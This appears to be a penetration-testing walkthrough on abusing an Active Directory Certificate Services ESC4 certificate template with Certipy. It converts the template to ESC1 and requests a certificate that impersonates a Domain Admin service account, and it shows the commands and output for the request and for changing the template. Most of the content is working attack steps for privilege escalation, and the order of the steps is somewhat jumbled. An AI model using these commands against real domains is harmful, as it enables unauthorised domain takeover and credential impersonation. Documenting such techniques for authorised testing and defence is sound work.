For a easy win find a user that's a member of Domain Admins group and is not configured as a "Protected User". Using BloodHound the user SERVICEACCOUNT@DOMAIN.LOCAL meets these requirements.
$ certipy req -username 'user@domain.local' -password '[REDACTED]' -ca dc-root-ca -target dc.domain.local -template VPNCert -upn SERVICEACCOUNT@DOMAIN.LOCAL -sid 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID' -debug
[...]
[*] Got certificate with UPN 'SERVICEACCOUNT@DOMAIN.LOCAL'
[*] Certificate object SID is 'S-1-5-21-XXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ-RID'
[*] Saved certificate and private key to 'serviceaccount.pfx'
Verify certificate
After successfully requesting a certificate for SERVICEACCOUNT@DOMAIN.LOCAL verify authentication and privileges.
In order to restore the certificate template once exploited, download the certificate with the -save-old flag. Certipy will automatically modify the vulnerable ESC4 template to ESC1.
$ certipy template -username 'user@domain.local' -password '[REDACTED]' -template VPNCert -save-old -debug
[...]
[*] Saved old configuration for 'VPNCert' to 'VPNCert.json'
[*] Updating certificate template 'VPNCert'
[...]
[*] Successfully updated 'VPNCert'
Verify templates
Verify that the modifications we're correct and the template is now also vulnerable to ESC1.
If we're not able to request a new certificate and encounter the error "certificate request not supported", or similar, it might be a mismatch in the template when automatically modified ESC4 to ESC1. To find the mismatching values setup a lab environment with the same vulnerability and compare the vulnerable certificate (VPNCert) to your lab environment vulnerable certificate.
Make modifications accordingly and upload the new, modified, template modified.json.
